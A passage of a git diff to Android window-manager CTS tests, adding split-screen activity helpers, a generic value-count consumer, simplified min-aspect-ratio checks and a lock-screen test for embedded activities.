+        final Predicate<Pair<Activity, Activity>> activityPairPredicate =
+                activityActivityPair -> true;
+        // Any activity can launch any split intent
+        final Predicate<Pair<Activity, Intent>> activityIntentPredicate =
+                activityIntentPair -> true;
+        // Allow any parent bounds to show the split containers side by side
+        Predicate<WindowMetrics> parentWindowMetricsPredicate = windowMetrics -> true;
+        // Build the split pair rule
+        return new SplitPairRule.Builder(activityPairPredicate,
+                activityIntentPredicate, parentWindowMetricsPredicate).setSplitRatio(
+                DEFAULT_SPLIT_RATIO).setShouldClearTop(shouldClearTop).build();
+    }
+
+    @NonNull
+    public static SplitPairRule createWildcardSplitPairRule() {
+        return createWildcardSplitPairRule(false /* shouldClearTop */);
+    }
+
+    public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
+            @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
+            @NonNull String secondActivityId,
+            @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer,
+            int expectedCallbackCount) {
+        // Set the expected callback count
+        splitInfoConsumer.setCount(expectedCallbackCount);
+
+        // Start second activity
+        startActivityFromActivity(primaryActivity, secondActivityClass, secondActivityId);
+
+        // Get updated split info
+        List<SplitInfo> activeSplitStates = null;
+        try {
+            activeSplitStates = splitInfoConsumer.waitAndGet();
+        } catch (InterruptedException e) {
+            fail("startActivityAndVerifySplit() InterruptedException");
+        }
+
+        // Get second activity from split info
+        Activity secondActivity = getSecondActivity(activeSplitStates, primaryActivity,
+                secondActivityId);
+        assertNotNull(secondActivity);
+
+        assertValidSplit(primaryActivity, secondActivity, splitPairRule);
+
+        // Return second activity for easy access in calling method
+        return secondActivity;
+    }
+
+    public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
+            @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
+            @NonNull String secondActivityId,
+            @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
+        return startActivityAndVerifySplit(primaryActivity, secondActivityClass, splitPairRule,
+                secondActivityId, splitInfoConsumer, 1 /* expectedCallbackCount */);
+    }
+
+    @Nullable
+    public static Activity getSecondActivity(@NonNull List<SplitInfo> activeSplitStates,
+            @NonNull Activity primaryActivity, @NonNull String secondaryClassId) {
+        Log.d(TAG, "Active split states: " + activeSplitStates);
+        for (SplitInfo splitInfo : activeSplitStates) {
+            // Find the split info whose top activity in the primary container is the primary
+            // activity we are looking for
+            Activity primaryContainerTopActivity = getPrimaryStackTopActivity(splitInfo);
+            if (primaryActivity.equals(primaryContainerTopActivity)) {
+                Activity secondActivity = getSecondaryStackTopActivity(splitInfo);
+                // See if this activity is the secondary activity we expect
+                if (secondActivity != null && secondActivity instanceof TestActivityWithId
+                        && secondaryClassId.equals(((TestActivityWithId) secondActivity).getId())) {
+                    return secondActivity;
+                }
+            }
+        }
+        Log.d(TAG, "Second activity was not found: " + secondaryClassId);
+        return null;
+    }
+
+    public static void assertValidSplit(@NonNull Activity primaryActivity,
+            @NonNull Activity secondaryActivity, SplitRule splitRule) {
+        waitForResumed(Arrays.asList(primaryActivity, secondaryActivity));
+
+        // Compute the layout direction
+        int layoutDir = splitRule.getLayoutDirection();
+        if (layoutDir == LayoutDirection.LOCALE) {
+            layoutDir = primaryActivity.getResources().getConfiguration().getLayoutDirection();
+        }
+
+        final float splitRatio = splitRule.getSplitRatio();
+        final Rect parentBounds = getMaximumActivityBounds(primaryActivity);
+        final Rect expectedPrimaryActivityBounds = new Rect();
+        final Rect expectedSecondaryActivityBounds = new Rect();
+        getExpectedPrimaryAndSecondaryBounds(layoutDir, splitRatio, parentBounds,
+                expectedPrimaryActivityBounds, expectedSecondaryActivityBounds);
+        assertEquals(expectedPrimaryActivityBounds, getActivityBounds(primaryActivity));
+        assertEquals(expectedSecondaryActivityBounds, getActivityBounds(secondaryActivity));
+    }
+
+    public static void verifyFillsTask(Activity activity) {
+        waitForResumed(Arrays.asList(activity));
+        assertEquals(getMaximumActivityBounds(activity), getActivityBounds(activity));
+    }
+
+    public static boolean waitForResumed(
+            @NonNull List<Activity> activityList) {
+        final long startTime = System.currentTimeMillis();
+        while (System.currentTimeMillis() - startTime < WAIT_FOR_RESUMED_TIMEOUT_MS) {
+            boolean allActivitiesResumed = true;
+            for (Activity activity : activityList) {
+                allActivitiesResumed &= WindowManagerJetpackTestBase.isActivityResumed(activity);
+                if (!allActivitiesResumed) {
+                    break;
+                }
+            }
+            if (allActivitiesResumed) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @Nullable
+    public static Activity getPrimaryStackTopActivity(SplitInfo splitInfo) {
+        List<Activity> primaryActivityStack = splitInfo.getPrimaryActivityStack().getActivities();
+        if (primaryActivityStack.isEmpty()) {
+            return null;
+        }
+        return primaryActivityStack.get(primaryActivityStack.size() - 1);
+    }
+
+    @Nullable
+    public static Activity getSecondaryStackTopActivity(SplitInfo splitInfo) {
+        List<Activity> secondaryActivityStack = splitInfo.getSecondaryActivityStack()
+                .getActivities();
+        if (secondaryActivityStack.isEmpty()) {
+            return null;
+        }
+        return secondaryActivityStack.get(secondaryActivityStack.size() - 1);
+    }
+
+    public static void getExpectedPrimaryAndSecondaryBounds(int layoutDir, float splitRatio,
+            @NonNull Rect inParentBounds, @NonNull Rect outPrimaryActivityBounds,
+            @NonNull Rect outSecondaryActivityBounds) {
+        final int expectedPrimaryWidth = (int) (inParentBounds.width() * splitRatio);
+        final int expectedSecondaryWidth = (int) (inParentBounds.width() * (1 - splitRatio));
+
+        outPrimaryActivityBounds.set(inParentBounds);
+        outSecondaryActivityBounds.set(inParentBounds);
+        if (layoutDir == LayoutDirection.LTR) {
+            /*******************|*********************
+             * primary activity | secondary activity *
+             *******************|*********************/
+            outPrimaryActivityBounds.right = inParentBounds.left + expectedPrimaryWidth;
+            outSecondaryActivityBounds.left = inParentBounds.right - expectedSecondaryWidth;
+        } else {
+            /*********************|*******************
+             * secondary activity | primary activity *
+             *********************|*******************/
+            outPrimaryActivityBounds.left = inParentBounds.right - expectedPrimaryWidth;
+            outSecondaryActivityBounds.right = inParentBounds.left + expectedSecondaryWidth;
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
index 65dcb04..a3e682b 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
@@ -114,7 +114,8 @@
         if (windowLayoutComponent == null) {
             return null;
         }
-        TestWindowLayoutInfoConsumer windowLayoutInfoConsumer = new TestWindowLayoutInfoConsumer();
+        TestValueCountConsumer<WindowLayoutInfo> windowLayoutInfoConsumer =
+                new TestValueCountConsumer<>();
         windowLayoutComponent.addWindowLayoutInfoListener(activity, windowLayoutInfoConsumer);
         return windowLayoutInfoConsumer.waitAndGet();
     }
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java
new file mode 100644
index 0000000..3f57b05
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.ACTIVITY_ID_LABEL;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Test activity that has a unique Id passed in from the launching context.
+ */
+public class TestActivityWithId extends Activity {
+
+    private static final String DEFAULT_ID = "unknown";
+    private String mId = DEFAULT_ID;
+
+    @Override
+    public void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Get ID
+        Intent intent = getIntent();
+        if (intent != null && intent.hasExtra(ACTIVITY_ID_LABEL)) {
+            mId = intent.getStringExtra(ACTIVITY_ID_LABEL);
+        }
+    }
+
+    public String getId() {
+        return mId;
+    }
+
+    @Override
+    public String toString() {
+        return String.format("TestActivityWithID{id=%s}", mId);
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java
new file mode 100644
index 0000000..4ebeac4
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * Consumer that provides a simple way to wait for a specific count of values to be received within
+ * a timeout and then return the last value.
+ */
+public class TestValueCountConsumer<T> implements Consumer<T> {
+
+    private static final long TIMEOUT_MS = 3000;
+    private static final int DEFAULT_COUNT = 1;
+    private int mCount = DEFAULT_COUNT;
+    private LinkedBlockingQueue<T> mLinkedBlockingQueue;
+    private T mLastReportedValue;
+
+    public TestValueCountConsumer() {
+        mLinkedBlockingQueue = new LinkedBlockingQueue<>();
+    }
+
+    @Override
+    public void accept(T value) {
+        // Asynchronously offer value to queue
+        mLinkedBlockingQueue.offer(value);
+    }
+
+    public void setCount(int count) {
+        mCount = count;
+    }
+
+    @Nullable
+    public T waitAndGet() throws InterruptedException {
+        T value = null;
+        for (int i = 0; i < mCount; i++) {
+            value = mLinkedBlockingQueue.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+        mLastReportedValue = value;
+        return value;
+    }
+
+    @Nullable
+    public T getLastReportedValue() {
+        return mLastReportedValue;
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestWindowLayoutInfoConsumer.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestWindowLayoutInfoConsumer.java
deleted file mode 100644
index be8f407..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestWindowLayoutInfoConsumer.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils;
-
-import androidx.annotation.Nullable;
-import androidx.window.extensions.layout.WindowLayoutInfo;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.function.Consumer;
-
-public class TestWindowLayoutInfoConsumer implements Consumer<WindowLayoutInfo> {
-
-    private static final String TAG = "TestWindowLayoutInfoConsumer";
-    private static final long WINDOW_LAYOUT_INFO_TIMEOUT_MS = 50;
-
-    CompletableFuture<WindowLayoutInfo> mFuture;
-
-    public TestWindowLayoutInfoConsumer() {
-        mFuture = new CompletableFuture<WindowLayoutInfo>();
-    }
-
-    @Override
-    public void accept(WindowLayoutInfo windowLayoutInfo) {
-        mFuture.complete(windowLayoutInfo);
-    }
-
-    public @Nullable WindowLayoutInfo waitAndGet()
-            throws ExecutionException, InterruptedException, TimeoutException {
-        return mFuture.get(WINDOW_LAYOUT_INFO_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
index 9a859ce..3c926a5 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
@@ -34,10 +34,12 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
+import android.app.Application;
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.Intent;
 import android.graphics.Rect;
+import android.os.Bundle;
 import android.os.IBinder;
 
 import androidx.annotation.NonNull;
@@ -49,14 +51,21 @@
 import org.junit.runner.RunWith;
 
 import java.util.List;
+import java.util.Set;
+import java.util.HashSet;
 import java.util.concurrent.ExecutionException;
 import java.util.concurrent.TimeoutException;
 
 /** Base class for all tests in the module. */
 public class WindowManagerJetpackTestBase {
 
+    public static final String ACTIVITY_ID_LABEL = "ActivityID";
+
     public Instrumentation mInstrumentation;
     public Context mContext;
+    public Application mApplication;
+
+    private final static Set<Activity> sResumedActivities = new HashSet<>();
 
     @Before
     public void setUp() {
@@ -64,15 +73,30 @@
         assertNotNull(mInstrumentation);
         mContext = getApplicationContext();
         assertNotNull(mContext);
+        mApplication = (Application) mContext.getApplicationContext();
+        assertNotNull(mApplication);
+        // Register activity lifecycle callbacks to know which activities are resumed
+        registerActivityLifecycleCallbacks();
     }
 
     public Activity startActivityNewTask(Class activityClass) {
-        Intent intent = new Intent(mContext, activityClass);
+        final Intent intent = new Intent(mContext, activityClass);
         intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        Activity activity = mInstrumentation.startActivitySync(intent);
+        final Activity activity = mInstrumentation.startActivitySync(intent);
         return activity;
     }
 
+    /**
+     * Starts an instance of {@param activityToLaunchClass} from {@param activityToLaunchFrom}
+     * and returns the activity ID from the newly launched class.
+     */
+    public static <T extends Activity> void startActivityFromActivity(Activity activityToLaunchFrom,
+            Class<T> activityToLaunchClass, String newActivityId) {
+        Intent intent = new Intent(activityToLaunchFrom, activityToLaunchClass);
+        intent.putExtra(ACTIVITY_ID_LABEL, newActivityId);
+        activityToLaunchFrom.startActivity(intent);
+    }
+
     public static IBinder getActivityWindowToken(Activity activity) {
         return activity.getWindow().getAttributes().token;
     }
@@ -148,4 +172,51 @@
                 || (extensionDeviceState == FoldingFeature.STATE_HALF_OPENED
                 && sidecarDeviceStatePosture == SidecarDeviceState.POSTURE_HALF_OPENED);
     }
+
+    private void registerActivityLifecycleCallbacks() {
+        mApplication.registerActivityLifecycleCallbacks(
+                new Application.ActivityLifecycleCallbacks() {
+                    @Override
+                    public void onActivityCreated(@NonNull Activity activity,
+                            @Nullable Bundle savedInstanceState) {
+                    }
+
+                    @Override
+                    public void onActivityStarted(@NonNull Activity activity) {
+                    }
+
+                    @Override
+                    public void onActivityResumed(@NonNull Activity activity) {
+                        synchronized (sResumedActivities) {
+                            sResumedActivities.add(activity);
+                        }
+                    }
+
+                    @Override
+                    public void onActivityPaused(@NonNull Activity activity) {
+                        synchronized (sResumedActivities) {
+                            sResumedActivities.remove(activity);
+                        }
+                    }
+
+                    @Override
+                    public void onActivityStopped(@NonNull Activity activity) {
+                    }
+
+                    @Override
+                    public void onActivitySaveInstanceState(@NonNull Activity activity,
+                            @NonNull Bundle outState) {
+                    }
+
+                    @Override
+                    public void onActivityDestroyed(@NonNull Activity activity) {
+                    }
+        });
+    }
+
+    public static boolean isActivityResumed(Activity activity) {
+        synchronized (sResumedActivities) {
+            return sResumedActivities.contains(activity);
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index c9a2c99..589ab90 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -19,8 +19,6 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.pm.ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE_VALUE;
 import static android.content.pm.ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_MEDIUM_VALUE;
-import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
-import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
 import static android.provider.DeviceConfig.NAMESPACE_CONSTRAIN_DISPLAY_APIS;
 import static android.view.Display.DEFAULT_DISPLAY;
 
@@ -51,9 +49,6 @@
 
 import libcore.junit.util.compat.CoreCompatChangeRule.EnableCompatChanges;
 
-import org.hamcrest.Matcher;
-import org.hamcrest.Matchers;
-import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -81,6 +76,10 @@
             component(ResizeableLargeAspectRatioActivity.class);
     private static final ComponentName NON_RESIZEABLE_PORTRAIT_ACTIVITY =
             component(NonResizeablePortraitActivity.class);
+    private static final ComponentName NON_RESIZEABLE_LANDSCAPE_ACTIVITY =
+            component(NonResizeableLandscapeActivity.class);
+    private static final ComponentName NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY =
+            component(NonResizeableNonFixedOrientationActivity.class);
     private static final ComponentName NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY =
             component(NonResizeableAspectRatioActivity.class);
     private static final ComponentName NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY =
@@ -88,8 +87,6 @@
     private static final ComponentName SUPPORTS_SIZE_CHANGES_PORTRAIT_ACTIVITY =
             component(SupportsSizeChangesPortraitActivity.class);
 
-    // Device aspect ratio (both portrait and landscape orientations) for min aspect ratio tests
-    private static final float SIZE_COMPAT_DISPLAY_ASPECT_RATIO = 1.4f;
     // Fixed orientation min aspect ratio
     private static final float FIXED_ORIENTATION_MIN_ASPECT_RATIO = 1.03f;
     // The min aspect ratio of NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY (as defined in the manifest).
@@ -347,12 +344,7 @@
     @Test
     @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO})
     public void testOverrideMinAspectRatioMissingSpecificOverride() {
-        // Note that we're using getBounds() in portrait, rather than getAppBounds() like other
-        // tests, because we're comparing to the display size and therefore need to consider insets.
-        runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY,
-                /* expectedInPortrait= */ SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
-                /* expectedInLandscape= */ FIXED_ORIENTATION_MIN_ASPECT_RATIO,
-                /* useAppBoundsInPortrait= */false);
+        runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* expected= */ 0);
     }
 
     /**
@@ -362,12 +354,29 @@
     @Test
     @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
     public void testOverrideMinAspectRatioMissingGeneralOverride() {
-        // Note that we're using getBounds() in portrait, rather than getAppBounds() like other
-        // tests, because we're comparing to the display size and therefore need to consider insets.
-        runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY,
-                /* expectedInPortrait= */ SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
-                /* expectedInLandscape= */ FIXED_ORIENTATION_MIN_ASPECT_RATIO,
-                /* useAppBoundsInPortrait= */false);
+        runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* expected= */ 0);
+    }
+
+    /**
+     * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+     * activities whose orientation is fixed to landscape.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+            ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+    public void testOverrideMinAspectRatioForLandscapeActivity() {
+        runMinAspectRatioTest(NON_RESIZEABLE_LANDSCAPE_ACTIVITY, /* expected= */ 0);
+    }
+
+    /**
+     * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+     * activities whose orientation isn't fixed.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+            ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+    public void testOverrideMinAspectRatioForNonFixedOrientationActivity() {
+        runMinAspectRatioTest(NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY, /* expected= */ 0);
     }
 
     /**
@@ -421,7 +430,7 @@
 
     /**
      * Test that the min aspect ratio of the activity as defined in the manifest is upheld if
-     * there is a n override for a smaller min aspect ratio present (3:2 < 1.6).
+     * there is an override for a smaller min aspect ratio present (3:2 < 1.6).
      */
     @Test
     @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
@@ -584,49 +593,19 @@
     }
 
     /**
-     * Launches the provided activity twice. The first time, the display is resized to a portrait
-     * aspect ratio. The second time, the display is resized to a landscape aspect ratio.
+     * Launches the provided activity and verifies that its min aspect ratio is equal to {@code
+     * expected}.
      *
      * @param activity the activity under test.
-     * @param expected the expected aspect ratio in both portrait and landscape displays.
+     * @param expected the expected min aspect ratio in both portrait and landscape displays.
      */
     private void runMinAspectRatioTest(ComponentName activity, float expected) {
-        runMinAspectRatioTest(activity, expected, expected, /* useAppBoundsInPortrait= */ true);
-    }
-
-    /**
-     * Launches the provided activity twice. The first time, the display is resized to a portrait
-     * aspect ratio. The second time, the display is resized to a landscape aspect ratio.
-     *
-     * @param activity               the activity under test.
-     * @param expectedInPortrait     the expected aspect ratio in portrait display.
-     * @param expectedInLandscape    the expected aspect ratio in portrait display.
-     * @param useAppBoundsInPortrait whether to use {@code activity#getAppBounds} rather than
-     *                               {@code activity.getBounds} in portrait display.
-     */
-    private void runMinAspectRatioTest(ComponentName activity, float expectedInPortrait,
-            float expectedInLandscape, boolean useAppBoundsInPortrait) {
-        // Change the aspect ratio of the display to something that is smaller than all the aspect
-        // ratios used throughout those tests but still portrait. This ensures we're using
-        // enforcing aspect ratio behaviour within orientation.
-        // NOTE: using a smaller aspect ratio (e.g., 1.2) might cause activities to have a landscape
-        // window because of insets.
-        mDisplayMetricsSession.changeAspectRatio(SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
-                ORIENTATION_PORTRAIT);
         launchActivity(activity);
-        Assert.assertThat(
-                getActivityAspectRatio(activity, /* useAppBounds= */ useAppBoundsInPortrait),
-                greaterThanOrEqualToInexact(expectedInPortrait));
-
-        // Change the orientation of the display to landscape. In this case we should see
-        // fixed orientation letterboxing and the aspect ratio should be applied there.
-        mDisplayMetricsSession.changeAspectRatio(SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
-                ORIENTATION_LANDSCAPE);
-        launchActivity(activity);
-        // A different aspect ratio logic is applied in fixed orientation letterboxing, so we need
-        // to use getBounds() rather than getAppBounds() here.
-        Assert.assertThat(getActivityAspectRatio(activity, /* useAppBounds= */ true),
-                greaterThanOrEqualToInexact(expectedInLandscape));
+        WindowManagerState.Activity activityContainer = mWmState.getActivity(activity);
+        assertNotNull(activityContainer);
+        assertEquals(expected,
+                activityContainer.getMinAspectRatio(),
+                FLOAT_EQUALITY_DELTA);
     }
 
     /**
@@ -666,15 +645,6 @@
         }, "checking task bounds updated");
     }
 
-    private float getActivityAspectRatio(ComponentName componentName, boolean useAppBounds) {
-        WindowManagerState.Activity activity = mWmState.getActivity(componentName);
-        assertNotNull(activity);
-        Rect bounds = useAppBounds ? activity.getAppBounds() : activity.getBounds();
-        assertNotNull(bounds);
-        return Math.max(bounds.height(), bounds.width())
-                / (float) (Math.min(bounds.height(), bounds.width()));
-    }
-
     private float getInitialDisplayAspectRatio() {
         Size size = mDisplayMetricsSession.getInitialDisplayMetrics().getSize();
         return Math.max(size.getHeight(), size.getWidth())
@@ -703,10 +673,6 @@
         }
     }
 
-    private static Matcher<Float> greaterThanOrEqualToInexact(float expected) {
-        return Matchers.greaterThanOrEqualTo(expected - FLOAT_EQUALITY_DELTA);
-    }
-
     private static ComponentName component(Class<? extends Activity> activity) {
         return new ComponentName(getInstrumentation().getContext(), activity);
     }
@@ -720,6 +686,12 @@
     public static class NonResizeablePortraitActivity extends FocusableActivity {
     }
 
+    public static class NonResizeableLandscapeActivity extends FocusableActivity {
+    }
+
+    public static class NonResizeableNonFixedOrientationActivity extends FocusableActivity {
+    }
+
     public static class NonResizeableAspectRatioActivity extends FocusableActivity {
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
index e3b28ce..b585c04 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
@@ -54,7 +54,7 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
         assumeTrue(supportsInsecureLock());
         assumeFalse(isUiModeLockedToVrHeadset());
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index e14a64e..9076050 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -754,6 +754,7 @@
 
     @Test
     public void testAppTransitionForActivityOnDifferentDisplay() {
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
         final TestActivitySession<StandardActivity> transitionActivitySession =
                 createManagedTestActivitySession();
         // Create new simulated display.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index f04d839..356953b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -19,16 +19,20 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.SplitActivityLifecycleTest.ActivityB.EXTRA_SHOW_WHEN_LOCKED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.Activity;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.graphics.Rect;
+import android.os.Bundle;
 import android.os.IBinder;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState.Task;
@@ -73,6 +77,14 @@
 
     /** Launch two Activities in two adjacent TaskFragments side-by-side. */
     private void initializeSplitActivities(boolean splitInEmbeddedTask) {
+        initializeSplitActivities(splitInEmbeddedTask, false /* showWhenLocked */);
+    }
+
+    /**
+     * Launch two Activities in two adjacent TaskFragments side-by-side and support to set the
+     * showWhenLocked attribute to Activity B.
+     */
+    private void initializeSplitActivities(boolean splitInEmbeddedTask, boolean showWhenLocked) {
         final Rect activityBounds = mOwnerActivity.getWindowManager().getCurrentWindowMetrics()
                 .getBounds();
         activityBounds.splitVertically(mPrimaryBounds, mSideBounds);
@@ -92,6 +104,9 @@
         if (splitInEmbeddedTask) {
             intent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
         }
+        if (showWhenLocked) {
+            intent.putExtra(EXTRA_SHOW_WHEN_LOCKED, true);
+        }
         wct.startActivityInTaskFragment(taskFragTokenB, mOwnerToken, intent,
                 null /* activityOptions */);
 
@@ -444,6 +459,72 @@
                 mWmState.getActivity(mActivityC));
     }
 
+    /**
+     * Verifies the show-when-locked behavior while launch embedded activities. Don't show the
+     * embedded activities even if one of Activity has showWhenLocked flag.
+     */
+    @Test
+    public void testLaunchEmbeddedActivityWithShowWhenLocked() {
+        assumeTrue(supportsLockScreen());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        // Initialize test environment by launching Activity A and B (with showWhenLocked)
+        // side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
+
+        lockScreenSession.sleepDevice();
+        lockScreenSession.wakeUpDevice();
+
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED,"Activity A must be stopped");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,"Activity B must be stopped");
+    }
+
